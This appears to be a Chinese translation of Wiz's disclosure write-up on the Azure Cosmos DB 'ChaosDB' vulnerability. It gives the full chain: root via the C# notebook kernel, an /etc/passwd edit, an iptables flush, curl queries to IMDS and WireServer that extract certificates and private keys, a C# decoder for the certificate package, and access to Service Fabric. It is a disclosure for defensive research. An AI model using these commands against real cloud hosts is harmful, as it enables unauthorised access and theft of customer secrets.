这是Wiz
研究团队发现并披露的Azure ChaosDB
漏洞的完整故事 ,我们能够完全不受限制地访问数千名 微软Azure
客户的数据库。2021 年 8 月,我们向 微软 披露了Cosmos DB
中的一个新漏洞,该漏洞最终使我们能够获取可用于管理服务的大量内部密钥。渗透过程大致如下:
在Azure Cosmos DB
上设置Jupyter Notebook
容器
运行任意C#
代码获取root
权限
删除在容器本地设置的防火墙规则以获得不受限制的网络访问
查询WireServer
以获取有关已安装的扩展、证书及其对应私钥的信息
连接本地Service Fabric
,列出所有正在运行的应用程序,获取其他客户数据库的主密钥
通过Internet
访问多个区域的Service Fabric
实例
在这篇文章中,我们将带您完成整个过程的每一步,直到我们甚至获得了Azure
的一些管理访问权限。
据 微软称:
Azure Cosmos DB
是一个用于现代应用程序开发的完全托管NoSQL
数据库。毫秒级响应时间,具有自动和即时的可扩展性,保证在任何规模的速度。业务连续性通过SLA
支持的可用性和企业级安全性得到保证。
Cosmos DB
于 2017 年 5 月推出,是一种全球分布式数据库解决方案,被知名客户使用,包括许多财富 500 强公司。
Cosmos DB
可以通过API
密钥访问来进行读取、写入和删除操作,其权限可以由标准的Azure IAM
管理。要对Cosmos DB
实例执行任何操作,只需提供Cosmos DB
端点和适当的API
密钥(主密钥)。Cosmos DB
帐户的主键相当于传统本地数据库中的根密码。
notebook
?Azure Cosmos DB
实例带有一个嵌入式Jupyter Notebook
容器,这是一个开源Web
应用程序,允许创建和共享包含实时代码、方程式、可视化和叙述文本的文档. 基本上,这是一种使用代码表示数据的非常酷的方式。
Jupyter Notebook
容器提供终端访问和供不同编程语言(Python、C#
等)与 Cosmos DB
实例交互的接口。Cosmos DB
帐户的凭据已在容器映像的环境变量中预先配置,以便通过SDK
透明地使用和访问 。
我们知道,根据设计,可以在Jupyter Notebook
上执行任意代码。几分钟后,我们已经获得了root
权限。如何?
当我们使用嵌入式 Jupyter
终端或默认的Python3 Notebook
时,我们的代码是以cosmosuser
身份执行. 服务开发人员的意图似乎是在此接口中任何代码都将以cosmosuser
身份执行.
然而,当我们执行一些C#
代码时,我们注意到它是以root
权限执行的。
是的,我们也很惊讶。
似乎Jupyter Notebook
支持的每种编程语言都有自己的“宿主”进程,负责执行用户提供的代码,并将输出传达给Web-UI
。由于某些未知原因,C#
的宿主进程特别以root
权限运行,这意味着任何C#
代码也将以root
身份执行。我们使用这种错误配置来提升在容器内的权限:在/etc/passwd
文件中附加了一行,创建了一个uid=0
和gid=0
的新用户,使用su
命令切换到这个用户,并有效地被授予容器内的root
权限。
iptables –F
就是全部了。
在获得root
权限后,我们开始四处查看容器,除此之外,我们发出iptables
命令来查看本地防火墙规则,以确定哪些可以访问,更有趣的是,哪些网络资源不能访问。
查看iptables
规则,我们发现了这些所谓的禁止地址:
169.254.169.254, IMDS
元数据服务
10.0.0.0/16 子网,一个我们不熟悉的内部子网
168.63.129.16, 另一个陌生的 IP 地址
为什么服务开发人员要配置这些特定的规则来阻止我们访问这些特定的IP地址? 这些防火墙规则是在容器上本地配置的,而我们当前以root
身份运行的。因此,我们只是删除了规则(通过iptables -F
),为这些被禁止的IP
地址和一些更有趣的发现扫清了道路。
需要指出的是,在我们看来,执行这些防火墙规则的更安全方法是在
Jupyter Notebook
容器之外,黑客即使拥有root
权限也无法绕过它们。
在我们通过之前的两个错误(Jupyter Notebook
本地提权和不受限制的网络访问)实现越狱之后,我们进行了一些网络侦察,访问之前禁止的 IP 地址。我们的看法是,如果开发人员明确试图阻止我们访问这些地址,那么我们绝对应该尝试访问它们。
169.254.169.254 是Azure
元数据服务 (IMDS
)。该服务保存有关当前运行的虚拟机实例的元数据,例如存储、网络配置 等。只需发送一个HTTP
请求并获取每个虚拟机的唯一信息。我们发出了一个请求,并发现了一些有趣的事情:
我们的Azure
环境设置为AzurePublicCloud
,我们的订阅ID
不是我们拥有的订阅。
我们osType
设置为Windows
,即使我们在Linux
终端上运行Linux
命令。
我们在10.0.0.0/16
子网中有一个 IP 地址——根据我们刚刚删除的防火墙规则,我们不应该访问同一个子网。
把这些放在一起,我们意识到我们不是在查询我们容器的元数据服务,而是我们的宿主机的元数据服务,它似乎托管在某种共享环境 中!
root@notebook:/home/cosmosuser# curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "CV2CW02_3",
"offer": "WindowsServer",
"osProfile": {
"adminUsername": "cosmosadmin",
"computerName": "CV2CW02000003",
"disablePasswordAuthentication": ""
},
"osType": "Windows",
"placementGroupId": "[REDACTED]",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "3",
"platformUpdateDomain": "3",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "MicrosoftWindowsServer",
"resourceGroupName": "eastus-cdb-ms-prod-eastus1-cs1",
"resourceId": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/virtualMachineScaleSets/CV2CW02/virtualMachines/3",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "datacenter-core-2004-with-containers-smalldisk",
"storageProfile": {
"dataDisks": [
{
"caching": "None",
"createOption": "Empty",
"diskSizeGB": "128",
"image": {
"uri": ""
},
"lun": "0",
"managedDisk": {
"id": "/subscriptions/[REDACTED]/resourceGroups/EASTUS-CDB-MS-PROD-EASTUS1-CS1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_disk2_[REDACTED]",
"storageAccountType": "Premium_LRS"
},
"name": "CV2CW02_CV2CW02_3_disk2_[REDACTED]",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
}
],
"imageReference": {
"id": "",
"offer": "WindowsServer",
"publisher": "MicrosoftWindowsServer",
"sku": "datacenter-core-2004-with-containers-smalldisk",
"version": "19041.985.2105050408"
},
"osDisk": {
"caching": "ReadOnly",
"createOption": "FromImage",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
"storageAccountType": "Premium_LRS"
},
"name": "CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
"osType": "Windows",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "4096000"
}
},
"subscriptionId": "[REDACTED]",
"tags": "federationName:cdb-ms-prod-eastus1-cs1;platformsettings.host_environment.service.platform_optedin_for_rootcerts:true",
"tagsList": [
{
"name": "federationName",
"value": "cdb-ms-prod-eastus1-cs1"
},
{
"name": "platformsettings.host_environment.service.platform_optedin_for_rootcerts",
"value": "true"
}
],
"userData": "",
"version": "19041.985.2105050408",
"vmId": "[REDACTED]",
"vmScaleSetName": "CV2CW02",
"vmSize": "SQLG5_NP80s",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "10.0.1.60",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "10.0.1.0",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "[REDACTED]"
}
]
}
google IP地址 168.63.129.16后,我们发现它是存在于每个Azure VM
上的虚拟 IP 地址,称为WireServer
:
微软几乎不提供WireServer
的官方文档。然而, Intezer
的Paul Litvak
在研究它方面做得非常出色!查看他的博客文章 ,了解过去涉及Azure WireServer
的漏洞。
我们了解到WireServer
管理Azure
中VM
的各个方面和功能,特别是每个Azure VM
的扩展。扩展是Azure
管理的软件应用程序,可以是Azure
的日志分析代理等第一方软件,也可以是Azure
支持的第三方软件,如Datadog
。显然,为了安装和配置这些扩展,所有Azure VM
都预装了两个代理之一,一个用于Windows
,一个用于Linux
。您可以将WireServer
视为这些代理的后端,用于提供代理正常运行所需的任何信息。
回到适用于Linux 的 WireServer
代理,也称为WA-Agent
或WA-Linux-Agent
,我们意识到它是一个托管在GitHub
上的开源项目https://github.com/Azure/WALinuxAgent 。因此,我们深入研究源代码以了解有关WireServer
功能的更多信息。
可以使用HTTP
查询WireServer
,它有几个对我们的研究很有意义的端点:
1.Goal state
: 本质上,代理需要查询端点的目录以获取不同的配置设置。可以下载任何Azure VM
目标状态,以通过执行一个简单的cURL
命令来获取特定于虚拟机的所有配置端点,如下面的代码片段所示。
2.ExtensionsConfig
:顾名思义,ExtensionsConfig
存储有关安装在VM
上的所有扩展的信息。有时,这些配置包含敏感信息,例如硬编码密码或密钥,并且这些信息是加密的。
3.Certificates
:在ExtensionsConfig
中存储用于解密加密段的加密密钥。
为了获得关于我们机器的扩展的信息,我们首先执行了一个cURL
命令来获取机器的目标状态。结果是底层虚拟机目标状态,包括它的ExtensionsConfig URL
,我们随后也对其进行了查询。
查询目标状态
root@notebook:/home/cosmosuser# curl -s "http://168.63.129.16:80/machine/?comp=goalstate" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"
<?xml version="1.0" encoding="utf-8"?>
<GoalState xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="goalstate10.xsd">
<Version>2012-11-30</Version>
<Incarnation>19</Incarnation>
<Machine>
<ExpectedState>Started</ExpectedState>
<StopRolesDeadlineHint>300000</StopRolesDeadlineHint>
<LBProbePorts>
<Port>16001</Port>
</LBProbePorts>
<ExpectHealthReport>FALSE</ExpectHealthReport>
</Machine>
<Container>
<ContainerId>82daf2f0-1c7a-45e5-9be6-<REDACTED></ContainerId>
<RoleInstanceList>
<RoleInstance>
<InstanceId>f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0</InstanceId>
<State>Started</State>
<Configuration>
<HostingEnvironmentConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&type=hostingEnvironmentConfig&incarnation=19</HostingEnvironmentConfig>
<SharedConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&type=sharedConfig&incarnation=19</SharedConfig>
<ExtensionsConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&type=extensionsConfig&incarnation=19</ExtensionsConfig>
<FullConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&type=fullConfig&incarnation=19</FullConfig>
<Certificates>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=certificates&incarnation=19</Certificates>
<ConfigName>f2a6f11f-ad20-4bb3-839f-<REDACTED>.20.f2a6f11f-ad20-4bb3-839f-<REDACTED>.20._CV2FI02_0.1.xml</ConfigName>
</Configuration>
<ServiceManagementInfo>
<SupportedVersions>http://168.63.129.16:80/ServiceManagement/?comp=versions</SupportedVersions>
<ManagementInfo>http://168.63.129.16:80/ServiceManagement/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=ManagementInfo</ManagementInfo>
</ServiceManagementInfo>
</RoleInstance>
</RoleInstanceList>
</Container>
获取扩展配置
root@notebook:/home/cosmosuser# curl -s "http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=config&type=extensionsConfig&incarnation=19" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"
<?xml version="1.0" encoding="utf-8"?>
<Extensions version="1.0.0.0" goalStateIncarnation="19"><GuestAgentExtension xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<GAFamilies>
<GAFamily>
<Name>Win7</Name>
</GAFamily>
<GAFamily>
<Name>Win8</Name>
<Uris> <Uri>https://zrd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>07.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r01a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r10a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r05a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>05.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://brd<REDACTED>04.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r09a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>09.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r03a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>
</Uris>
</GAFamily>
</GAFamilies>
<Location>westus</Location>
<ServiceName>CRP</ServiceName>
</GuestAgentExtension>
<StatusUploadBlob statusBlobType="PageBlob">https://md-<REDACTED>.z13.blob.storage.azure.net/$system/CV2FI02_0.6eb0b152-261a-4bc7-89ae-<REDACTED>.status?sv=2018-03-28&sr=b&sk=system-1&sig=MxCWbN<REDACTED>&se=9999-01-01T00%3a00%3a00Z&sp=w</StatusUploadBlob>
<Plugins>
<Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="3.20.60.1" location="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://brd<REDACTED>04.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
<Plugin name="Microsoft.Azure.ServiceFabric.ServiceFabricNode" version="1.1.0.12" location="https://zrd<REDACTED>07.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
</Plugins>
<PluginSettings>
<Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="3.20.60.1">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"protectedSettingsCertThumbprint": "85FFC66A525E9A3D45597788B076B95356296E46",
"protectedSettings": "MIIB0AYJK<REDACTED>"
}
}
]
}</RuntimeSettings>
</Plugin>
<Plugin name="Microsoft.Compute.CustomScriptExtension" version="1.10.12">
<DependsOn dependencyLevel="1">
<DependsOnExtension handler="Microsoft.Azure.Security.Dsms.DsmsForWindows" />
</DependsOn>
</Plugin>
<Plugin name="Microsoft.Azure.Geneva.GenevaMonitoring" version="2.27.0.3">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {}
}
}
]
}</RuntimeSettings>
</Plugin>
<Plugin name="Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration" version="2.58.15">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {}
}
}
]
}</RuntimeSettings>
</Plugin>
</PluginSettings>
我们的 VM 有几个配置的扩展,包括:
Microsoft.Azure.Security.Dsms.DsmsForWindows
Microsoft.Azure.Geneva.GenevaMonitoring
Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration
Microsoft.Compute.CustomScriptExtension
Microsoft.Azure.ServiceFabric.ServiceFabricNode
Microsoft.Compute.CustomScriptExtension
这些扩展很可能安装在我们的主机(基于Windows
的虚拟机)上,而不是我们的私有Linux
容器上。下一个合乎逻辑的步骤是从这些配置中提取信息,并可能发现稍后可以在Cosmos DB
环境中横向移动的密钥。
大多数扩展包含以下两个部分:
1.publicSettings
:包含有关 VM 扩展和设置的一般信息的纯文本部分。
2.protectedSettings
:包含有关 VM 扩展的敏感信息的加密部分。
硬编码凭据和/或敏感信息应该存储在扩展的protectedSettings
部分中。那么代理是如何解密这些敏感数据的呢?它从哪里获得解密密钥?答案是证书端点。但是要获取用于解密的证书,代理首先需要采取额外的预防措施并提供将用于加密证书包的自签名传输证书。幸运的是,这个传输证书没有被服务器验证,这意味着我们可以提供我们自己的证书而不依赖于主机代理先前生成的任何证书。提供此公钥的方法是将其包含在x-ms-guest-agent-public-x509-cert
标头中。
root@notebook:/home/cosmosuser# curl -s -H 'x-ms-agent-name: WALinuxAgent' -H 'x-ms-version: 2012-11-30' "http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=certificates&incarnation=19&type=fullConfig" -v -H 'x-ms-cipher-name: DES_EDE3_CBC' -H 'x-ms-guest-agent-public-x509-cert: MIIDDTCCAf<REDACTED>VILecKTmgDgpm9K0='
* Trying 168.63.129.16...
* TCP_NODELAY set
* Connected to 168.63.129.16 (168.63.129.16) port 80 (#0)
> GET /machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=certificates&incarnation=19&type=fullConfig HTTP/1.1
> Host: 168.63.129.16
> User-Agent: curl/7.58.0
> Accept: */*
> x-ms-agent-name: WALinuxAgent
> x-ms-version: 2012-11-30
> x-ms-cipher-name: DES_EDE3_CBC
> x-ms-guest-agent-public-x509-cert: MIIDDTCCAf … redacted … ILecKTmgDgpm9K0=
>
< HTTP/1.1 200 OK
< Content-Type: text/xml; charset=utf-8
< Server: Microsoft-IIS/10.0
< Date: Mon, 09 Aug 2021 15:14:13 GMT
< Content-Length: 218769
<
{ [14133 bytes data]
* Connection #0 to host 168.63.129.16 left intact
<?xml version="1.0" encoding="utf-8"?>
<CertificateFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="certificates10.xsd">
<Version>2012-11-30</Version>
<Incarnation>19</Incarnation>
<Format>CertificatesBondPackage</Format>
<Data>Cw7XFjCCC1MGCSqGSIb3DQEHA6CCC0QwggtAAgECMYIBMDCCASwCAQKAFHLFPtEz
NkHq9EbPS1vv8Xh+51+XMA0GCSqGSIb3DQEBAQUABIIBADsYzJwqOmvP154ZphyM
... redacted ...
RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmpUgRSAG8AbwB0AAAA
</Data>
</CertificateFile>
到目前为止,每次我们查询证书端点(在任何其他服务中)时,我们总是获取以该Pkcs7BlobWithPfxContents
格式编码的证书,如下图所示。这是一种证书包,加密内容只有与标头x-ms-guest-agent-public-x509-cert
中提供的公钥匹配的私钥才能解密。
然而,当我们在Jupyter Notebook
环境中执行完全相同的步骤时,我们获取到以另一种格式编码的证书 – Certificates Bond Package
.
这是我们第一次遇到这种格式。不幸的是,我们用来执行解密标准格式的 OpenSSL 命令在这里不起作用。是时候启动我们的游戏并尝试解码这种格式了!
我们在Google
上搜索Certificate Bond Package
格式没有得到答案:
怎么办?我们决定对WireServer
的客户端、VM
代理进行逆向工程。我们假设如果有任何东西知道如何解码这种格式,那么就是这些代理, 因为它们依赖这些信息来正常运行。
首先查看Linux
代理,我们找不到任何关于神秘的Certificate Bond Package
格式的参考。
继续研究Windows
代理,我们知道根据IMDS
元数据服务,即使我们在Linux
容器中运行,我们的主机VM
也是Windows VM
。这意味着来自WireServer
的所有响应都应由Windows
代理处理,而不是Linux
代理。这是我们需要继续的突破。
与WA-Agent
不同,Windows
虚拟机代理(也称为Windows Azure Guest Agent.exe
)不是开源的。但它是用C#
编写的,所以我们可以很容易地将它反编译成类似于源代码的东西。有很多工具可以做到这一点——我们选择了ILSpy
。
这是WindowsAzureGuestAgent.exe
一部分Microsoft.WindowsAzure.RoleContainer.dll
的ILSpy
视图 :
后面是WindowsAzureGuestAgent.exe
一部分Microsoft.WindowsAzure.Security.CredentialsManagement.Package.dll
的 ILSpy
视图:
最后,我们有了难以捉摸的CertificatesBondPackage
格式及其处理代码。
使用Windows
代理的现有功能,我们编写了一个简单的代码段来模拟代理对证书绑定包的解码,获取pkcs7
文件格式的密钥 。
using Microsoft.Cis.Fabric.CertificateServices;
using Microsoft.WindowsAzure.GuestAgent.CertificateManager;
using Microsoft.WindowsAzure.Security.CredentialsManagement.Package;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
using Bond.IO;
using Bond.IO.Unsafe;
using RD.Security.Dsms;
using Bond;
using Bond.Protocols;
namespace ConsoleApp2
{
class Program
{
static void Main(string[] args)
{
byte[] cert = File.ReadAllBytes(@"cerificate_bond.bin");
InputBuffer input = new InputBuffer(cert);
ManagedCertificatesPackage managedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input, 1)).ManagedCertsPackage;
var managedCertData = managedCertsData.CertsData;
byte[] array = new byte[managedCertData.Count];
Array.Copy(managedCertData.Array, managedCertData.Offset, array, 0, managedCertData.Count);
byte[] data = array;
File.WriteAllBytes(@"ManagedCertsPackage.bin", data);
InputBuffer input2 = new InputBuffer(cert);
ArraySegment<byte> unmanagedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input2, 1)).UnmanagedCertsData;
var unmanagedCertData = unmanagedCertsData;
byte[] array2 = new byte[unmanagedCertData.Count];
Array.Copy(unmanagedCertData.Array, unmanagedCertData.Offset, array2, 0, unmanagedCertData.Count);
byte[] data2 = array2;
File.WriteAllBytes(@"UnmanagedCertsData.bin", data2);
}
}
}
现在,在对Certificate Bond Package
进行解码和解密后,我们希望得到两个密钥:一个私钥和一个用于加密和解密受保护设置的公钥。
是的,25 个 微软 证书及其相应的私钥。
user@laptop:~/cosmos$ grep subject ManagedCertificates.pem
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = computev2.internal.by.cosmos.azure.com
subject=CN = fe.internal-secrets.by.cosmos.azure.com
subject=CN = computev2.internal.by.cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = computev2tomanagement.internal.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = fe.internal-secrets.by.cosmos.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = /certificates/selfsigned/agentidcert/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>-by5prdapp04-f2a6f11f-ad20-4bb3-839f-<REDACTED>--/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>--by5prdapp04.fc.core.windows.net--f2a6f11f-ad20-4bb3-839f-<REDACTED>--uswest-dsms.dsms.core.windows.net
subject=CN = *.notebook.cosmos.azure.com
subject=CN = computev2tomanagement.internal.cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = computev2tomanagement.internal.cosmos.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = computev2.internal.by.cosmos.azure.com
subject=CN = fe.internal-secrets.by.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
user@laptop:~/cosmos$ grep subject UnmanagedCertificates.pem
subject=DC = Windows Azure CRP Certificate Generator
Certificates Bond Package
包含一堆我们可能不应该拥有的证书;我们将仔细研究这三个:
fabricsecrets.documents.azure.com
fabric.westus1.cosmos.azure.com
*.notebook.cosmos.azure.com (仅此一项就可以让我们拦截托管在Windows VM
上客户Jupyter Notebook
的加密SSL
流量...)
这些证书的合法用途是什么?
回到ExtensionConfig
,我们意识到ServiceFabricNode
扩展在其公共设置中有一些有趣的信息:它包含机器的Service Fabric
集群的集群端点,以及身份验证所需的证书的通用名称:
"publicSettings": {"clusterEndpoint":"https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-<REDACTED>", ...snip... ,"certificate":{"commonNames":["fabric.westus1.cosmos.azure.com"],"x509StoreName":"My"}}
当我们从Google Chrome
访问该clusterEndpoint URL
时,系统会提示我们提供身份验证的客户端证书。我们得出结论,我们最好的选择是使用 我们之前从WireServer
获得的fabric.westus1.cosmos.azure.com
证书,因为它在ServiceFabricNodeExtension
的publicSettings
提及到.
我们得到的是一个巨大的XML
格式的清单文件,其中包含大量集群信息,包括多个Azure
存储帐户的连接字符串,可以使用我们ExtensionConfig
的解密protectedSettings
部分中的存储帐户密钥进行访问:
<Section Name="AzureBlobServiceFabricCrashDump">
<Parameter Name="ConsumerType" Value="AzureBlobFolderUploader"/>
<Parameter Name="ContainerName" Value="fabriccrashdumps-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricCrashDump"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
</Section>
<Section Name="AzureBlobServiceFabricEtw">
<Parameter Name="ConsumerType" Value="AzureBlobEtwCsvUploader"/>
<Parameter Name="ContainerName" Value="fabriclogs-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricEtlFile"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
</Section>
<Section Name="AzureBlobServiceFabricPerfCounter">
<Parameter Name="ConsumerType" Value="AzureBlobFolderUploader"/>
<Parameter Name="ContainerName" Value="fabriccounters-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricPerfCounter"/>
